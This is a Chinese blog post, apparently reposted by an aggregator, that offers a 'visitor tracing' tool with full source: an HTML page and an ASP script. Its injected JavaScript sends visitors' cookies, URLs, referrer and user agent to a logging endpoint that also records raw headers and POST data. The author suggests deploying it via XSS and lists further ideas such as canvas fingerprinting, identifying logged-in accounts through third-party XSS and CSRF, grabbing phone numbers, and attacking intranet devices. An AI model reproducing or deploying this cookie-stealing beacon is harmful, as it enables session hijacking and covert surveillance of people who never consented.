IP 定位 逆向追踪溯源访客真实身份 调查取证
source link: https://lcx.cc/post/4595/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
IP 定位 逆向追踪溯源访客真实身份 调查取证
核总(https://lcx.cc/)在工作中经常需要追踪某个用户、访客的详细访问轨迹,用于逆向反查、调查分析、溯源追踪、电子取证,以帮助定位用户准确真实身份、实名信息,以及 IP 地址精确定位,最常见于犯罪调查、攻击事件溯源。
于是核总根据工作中的经验,做了一个高兼容度的 HTTP/HTTPS 访问轨迹跟踪程序,适用于任何支持 js 的网站或程序,可以直接载入或者使用 XSS 远程加载(你懂的),收集了几乎 HTTP 协议所能抓取到的所有访客信息。
收集的信息覆盖范围主要包含以下维度:
1、服务器端和 HTTP 头:
- 访问方法(GET/POST/HEAD)
- 访客 IP 地址
- 访客使用的端口
- 访客操作系统类型(User-Agent)
- 原始 HTTP 头(UTF8-URL 编码)
- 原始 Cookies 数据
- 原始 POST 数据
- 原始 GET 数据
2、客户端浏览器 js 脚本二次深度增强收集:
- href(document.location.href)
- top_href(top.location.href)
- opener((window.opener && window.opener.location.href) ? window.opener.location.href: ‘')
- title(document.title)
- cookie(document.cookie)
- referer(document.referrer)
- screen(screen.width + ‘*’ + screen.height)
- user-agent(navigator.userAgent)
提示一下,原始 HTTP 头中包含了更详细的系统信息,有完整的代理链路以及代理后的真实 IP 地址,例如字段:
- Client-IP
- True-Client-IP
- X-Client-IP
- X-Forwarded-For
- X-Forwarded-Host
- X-Originating-IP
- X-Real-IP
- X-Remote-Addr
- X-Remote-IP
这些详细信息基本已经足够用了,但既然这个话题已经写到这里了,就多写点干货吧,其实还可以再深度升级一下,例如:
- 利用 res:// 协议刺探客户端文件信息、检测客户端环境、是否安装360、杀毒软件、某些系统文件等。
- 使用 HTML5 Canvas 计算客户端浏览器唯一指纹、指纹跟踪。
- 利用各大社交、购物、视频、ISP 运营商等网站的 cookies、xss、csrf、json 定位用户登录的账号信息。
- 还可以抓取访客手机号、QQ号。
- 还可以获取内网 IP 地址、Mac 地址、硬件信息、刺探内网资源。
- 甚至可以使用 js 利用漏洞或弱口令入侵内网 Windows 系统、Linux 系统、工控设备、路由器、摄像头、交换机等其他智能设备,高级渗透、反向入侵。
- 如果目标用户是移动客户端的话(例如微信或手机浏览器等),还可以尝试 HTML5 中新加的地理位置功能(Geolocation API)进行详细定位,获取精准 GPS 经纬度坐标信息。
- 核总(https://lcx.cc/)在这里抛砖引玉,各路大神自由发挥~
index.html
<title>Test 测试</title>
<body>
<!--
<img src="#" onerror="x = document.createElement('script');x.src = 'js.asp';document.body.appendChild(x);" />
-->
</body>
<script type="text/javascript" src="js.asp"></script>
<a href="#" onclick="window.open('index.html', '_blank');">opener</a>
<script type="text/javascript">
document.write('<a href="http://localhost/?'+Math.floor(Math.random() * 999999 + 1)+'#'+Math.floor(Math.random() * 999999 + 1)+'">http://localhost/</a>')
</script>
js.asp
<%
'On Error Resume Next
' 记录日志
savelog()
' 没有参数则输出 js 代码,收集更详细的信息
if request("href") = "" then
outputjs()
end if
'---------------------------------------------------------------------------------------------------
public function outputjs()
response.clear
response.addheader "Content-Type", "application/javascript"
%>
(function() {
var u = '//<%=Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("SCRIPT_NAME")%>' +
'?href=' + encodeURIComponent((function() {try {return document.location.href} catch(e) {return ''}})()) +
'&top_href=' + encodeURIComponent((function() {try {return top.location.href} catch(e) {return ''}})()) +
'&opener=' + encodeURIComponent((function() {try {return (window.opener && window.opener.location.href) ? window.opener.location.href: ''} catch(e) {return ''}})()) +
'&title=' + encodeURIComponent((function() {try {return document.title} catch(e) {return ''}})()) +
'&cookie=' + encodeURIComponent((function() {try {return document.cookie} catch(e) {return ''}})()) +
'&referer=' + encodeURIComponent((function() {try {return document.referrer} catch(e) {return ''}})()) +
'&screen=' + encodeURIComponent((function() {try {return screen.width + '*' + screen.height} catch(e) {return ''}})()) +
'&user-agent=' + encodeURIComponent((function() {try {return navigator.userAgent} catch(e) {return ''}})());
if (document.body != null) {
var x = document.createElement('script');
x.src = u;
document.body.appendChild(x);
} else {
document.write('<scr' + 'ipt src=\'' + u + '\'></scr' + 'ipt>');
}
})();
<%
response.end
end function
public function savelog()
' 记录日志,格式:时间,方法,访客IP,访客端口,系统类型,原始HTTP头(UTF8-URL编码),Cookies数据,原始POST数据,原始GET数据
dim fso
set fso = server.createobject("scripting.filesystemobject")
set file = fso.opentextfile(server.mappath(".\cf3a7c3e_" & year(date) & month(date) & day(date) & ".txt"), 8, true)
file.writeline now & vbtab & _
request.servervariables("request_method") & vbtab & _
request.servervariables("remote_addr") & vbtab & _
request.servervariables("remote_port") & vbtab & _
request.servervariables("http_user_agent") & vbtab & _
server.urlpathencode(request.servervariables("all_raw")) & vbtab & _
request.cookies & vbtab & _
request.form & vbtab & _
request.querystring
file.close
end function
%>
【CSRF】基于图片方式(<img)的 DDOS、CC、会话劫持以及刺探用户信息
JSON探针—定位目标网络虚拟信息身份,利用大量三方网站cookie进行追踪
Microsoft RES 协议详解与安全 - RES 协议浅析
XSS检测客户端环境,javascript 检测客户端文件、系统环境
网站插入一段神奇代码 即可获取浏览者手机号码 截取访客电话号码 手机营销
Recommend
-
33
*本文原创作者:fish1983,本文属FreeBuf原创奖励计划,未经许可禁止转载 0×1 事件描述 小Z所在公司的信息安全建设还处于初期阶段,而且只有小Z新来的一个信息安全工程师,所以常常会碰到一些疑难问题。一天...
-
33
*本文原创作者:星空111,本文属FreeBuf原创奖励计划,未经许可禁止转载 废话: 暑假到了,在家闲着无聊,想着考个驾照吧,到了驾校后报了名,看着其他学员在模拟考试,车里面好像有个工控机,看到车刚压线了...
-
10
商汤科技员工健身房外猝死,公司回应称积极配合警方调查取证 2020-12-19 12:13 12月18日,有视频传出,一商...
-
19
在 frp 后部署 nginx 并获取访客真实 IP 最近家里路由器的端口转发和群晖的 DDNS 不知道什么原因无法正常工作了,才尝试使用 frp 这种内网穿透工具。不用不知道,用了才知道:真香。遂购置一台服务器供家庭服务使用。首先就是将网站从云上迁移到...
-
2
【防溯源】如何优雅的隐藏你连接 Webshell 的真实 IP 桑云信息Lzers 2021-07-26 防溯源
-
5
简单分享下Gps定位追踪类的外贸产品 ...
-
2
还在谈识别?基于RFID的定位、追踪、感知才是未来-射频/微波-与非网
-
2
GitOps已经成为软件开发领域最受关注的热门趋势之一。由于简单易用,同时又具备弹性、可预测性和可审计性等方...
-
2
苹果A16性能挤牙膏真实原因:光线追踪等重大升级出现致命失误 2022-12-23 23:16 出处/作者:快科技 整合编辑:佚名 0
-
2
与硬着头皮自己做折叠屏手机不同,Google 对于系统的更新意在厚泽整个 Android 生态。这其中的「查找」功能,则是个说大不大、但说小也不小的一项重要功能。说不大,是因为提到「查找」,大多数人会联想到 Tag 这个小小的蓝牙追踪器。说不小,则是因为...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK